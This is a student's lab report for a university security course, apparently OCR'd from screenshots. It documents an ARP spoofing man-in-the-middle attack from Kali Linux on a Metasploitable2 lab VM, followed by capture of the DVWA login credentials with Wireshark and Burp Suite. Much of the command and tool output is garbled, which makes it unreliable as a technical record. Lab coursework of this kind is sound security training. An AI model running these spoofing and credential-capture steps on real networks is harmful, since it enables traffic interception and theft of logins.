Branden Barnes
Professor Vatsa

CYSE 450

Packet Sniffing

Task: Performing an ARP Spoofing Attack

1-2. Power on and login to Kali Linux and Metasploitable2. Open a root terminal on the Kali Linux virtual

machine and discover the IP addresses of the other machines on the network to spoof them.

ile Machine View Input Devices Help 2 root@bbarn024: ~

n File Actions Edit View Help
r ning: 192.16 6 sc : Unigue Hosts

msfadnin@netasploitable: "9 ifconfig e
etho Link encap:Ethernet HUaddr 08:00:27:3f:61:6c SRR LD ’ : 0o
inet addr:192.168.6.25 Brast:192.168.0 255 Hask:255.255.255.0
i 2600 :8805:3623:4200:a00:27ff :fe3. 16c/64 Scope:Global
FeB0::a00: 2707 :Fe3f :616c,64 Scope:Link
UP BROADCAST RUNNING HULTICAST MTU:1500 Metric:i
8252 errors:0 dropped:0 overruns: frame:®
15 errors:0 dropped 0 overruns:® carrier:0
txqueuelen: 1000
X bytes:1218945 (1.1 HB) TX bytes:14727 (14.3 KB)
Base address:0xd020 Memory:f0200000-f0220000

Address Count. Len M ‘endor / Hostname

Link enca ocal Loopback
inet addr 7

ineth addr: 1.
UP LOOPBACK RUNNING MTU:16436 Metric:l
:218 errors:0 dropped:0 overruns:0 frame:0
18 errors: dropped:® overrunsif carrier:0
collision txgueuelen:0
RX bytcs:81265 (79.3 KB) TX bytcs:81265 (79.3 KB)

msfadminenetasploitable:™§ _

3. Enable IP forwarding.



o root@bbarn024: ~

File Actions Edit View Help

5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 300

At MAC Address MAC Vendor / Hostname

Unknown vendor

PCS Systemtechnik GmbH
Intel Corporate

Amazon Technologies Inc.
Ring LLC

~

/proc/sys/net/ipv4/ip_forward

~

/proc/sys/net/ipv4/ip_forward

4-5. Generate multiple fake ARP replies. Also, trick the router into believing you are the victim so that
you can intercept incoming internet

traffic on the victim’s behalf.



-

- root@bbarn024: ~
File Actions Edit View Help File Actions Edit View Help

? (192.168.0.1) at 10:a7:93:ec:93:cd [ether] on eth@
? (192.168.0.1) at 10:a7:93:ec:93:cd [ether] on etho ? (192.168.0.25) at 08:00:27:3f:61:6c [ether] on etho
? (192.168.0.25) at 08:00:27:3f:61:6c [ether] on etho

i J f -1 eth® -t 192.168.0.25 168.0.1

r L etho -t 192.168.0.1 192.168.0.25 8:0:27:16:ee:5f 8:0:27:3f:61:6C 0806 arp reply
:16:ee:5f 10:a7:93:ec:93:cd 0806 42: arp reply . :0:27:16:ee:5f

.0.25 is-at 8:0:27:16:ee:5f A :16:ee:5f 8:0:27:3f:61:6c 0806 : arp reply
:16:ee:5f 10:a7:93:ec:93:cd 0806 42: arp reply v i 10:27:16:ee:5f

.0.25 is-at 8:0:27:16:ee:5f 2 :16:ee:5f 8:0:27:3f:61:6c 0806 : arp reply
:16:ee:5f 10:a7:93:ec:93:cd 0806 42: arp reply i :0:27:16:ee:5f
.0.25 is-at 8:0:27:16:ee:5f t16:ee:5f 8:0:27:3f:61:6c 0806 : arp reply
:16:ee:5f 10:a7:93:ec:93:cd 0806 42: arp reply . i 10:27:16:ee:5f
.0.25 is-at 8:0:27:16:ee:5f 3 :16:ee:5f 8:0:27:3f:61:6c 0806 42: arp reply
116:ee:5f 10:a7:93:ec:93:cd 0806 42: arp reply i 10:27:16:ee:5f
.0.25 is-at 8:0:27:16:ee:5f 127:16:ee:5f 8: :6c 0806 42: arp reply
:16:ee:5f 10:a7:93:ec:93: 0806 42: reply . i :0:27:
.0.25 is-at 8:0:27:16:ee:5f :0:27:16:ee:5f 8: :61:6c 0806 : arp reply
:16:ee:5f 10:a7:93:ec:93:cd 0806 42: reply . i 10:27:
9 -0.25 is-at 8:0:27:16:ee:5f ; 116:ee:5f 8:0:27:3f:61:6c 0806 42: arp reply
“CCleaning up and re-arping targets... 0:27:16:ee:5f
8:0:27:16:ee:5f 10:a7:93:ec:93:cd 0806 5 reply 1

6. Check the Arp table in the target Machine.

To access official Ubuntu documentation, please visit:
http:s-help.ubuntu.con~

No mail.

nsfadmin@metasploitable:™5 arp -a

7 (192.168.0.1) at 10:A7:93:EC:93:CD [ether]l on etho
nsfadmin@metasploitable:™5 arp -a

7 (192.168.0.28) at 08:00:27:16:EE:5F [ether] on etho
7 (192.166.0.1) at 08:00:27:16:EE:5F [ether] on etho
nsfadmin@metasploitable: 5

The MAC address changed to the Kali MAC address.

7. Extract the URLs running.

sudo f 1 eth@
sudo: unable to resolve host bbarn@24: or service not known
[sudo] password for branden:
f: listening on eth® [tcp port r port or port
: i L "POST 5 . Le r.org/ HTTP/1.1"°

cr.org/ HTTRP/1.1"
r.org/ HTTP/1.1"
r.org/ HTTP/1.1"

-
r.org/ HTTR/1.1"

= 8 = R

r.org/ HTTR/1.1"

o=
I

HTTP/1.1"

=




8. Open a browser in kali Linux and type the IP address of Metasploitable2 (Target Machine). Then
go to DVWA page which would look like the following screenshot.

Login using username : admin and password : password.

O & 192168.0.25

KaliLinux #8 KaliTools = KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

o)

. Welcome to Damn Vulnerable Web App!

Instructions | Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals :
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers

Setup | better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.

Brute Force WARNING!

Command Execution

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing.

CSRF

File Inclusion

9. Now open Wireshark and analyze HTTP POST packet to capture the credentials you used to login to

DVWA page in Metasploitable2 VM.

Protocol Length
GET /dvwa/ HTTP/1.1
HTTP/1.1 302 Found
GET /dvwa/login.php HTTP/1.1
HTTP/1.1 200 OK (text/html)

671 POST /dvwa/login.php HTTRP/1.1 (application/x-www-form-urlenc..

HTTP/1.1 302 Found
GET /dvwa/index.php HTTP/1.1
HTTP/1.1 200 OK (text/html)
GET /dvwa/dvwa‘css/main.css HTTP/1.1
HTTP/1.1 200 OK (text/css)

v Frame 1048: 671 bytes on wire (5368 bit: @8 @@ 27 3f 61 6c 08 @ 27 16 ee
» Ethernet II, Src: PcsCompu_16:ee:5f (@8 82 91 18 29 40 00 40 06 9e b8 c@
v Internet Protocol Version 4, Src: 192.1i @0 19 bb 82 00 50 79 17 91 8a

10. Open Burp Suite in Kali Linux to harvest the credentials.



% @ fg ~

Burp Suite Community Edition v2022.9.6 - Temporary Project

3urp  Project  Intruder Repeater Window Help
Dashboard Target Proy Intruder Repeater Sequencer Decoder Comparer Logger Extender

Learn

HTTF histery WebSockets history Options

Re-enable

7% Requestto http://192.168.0.25:80

Forward Drop Action Open Browser Camment thi

Raw Hex n

| haw Inspector

1 POST /fdvwa/login.php HTTR/L.1
L Host: 192.168.0.25 Selection
3 Content-Length: 44
4 Cache-Control: max-age=0
S Upgrade-Insecure-Requests: 1 S
5 Origin: http://192.168.0.25 —admi
7 Content-Type: application/x-www-form-urlencoded Eiername—a L
S User-Agent: Mozilla/5.0 (Windows NT 10.0; WinS4; x64) AppleWebkit/537.36 |KHTHL, =Login

like Gecko) Chrome/107.0.5304.107 Safari/537.36
9 Accept:

text/html, application/xhtml+xml, application/xml ;g=0.9,image/avif, image/webp,image/a Decoded from: U

png, ¥ /*;q=0.8,application/signed-exchange;v=h3;0=0.9
Referer: http://192,168.0,25/dvwa/login. php

username=admir

1 Accept-Encoding: gzip, deflate =Login

2 Accept-Language: en-US,en;g=0.9

3 Cookie: security=high; PHPSESSID=aZ9:4571dlbafca3bh27e202e245c93d82

4 Connection: close

E.

& username=admin&password=password&lLogin=Login
Request Attributes
Request Query Parame
Request Body Paramed

Request Cookies



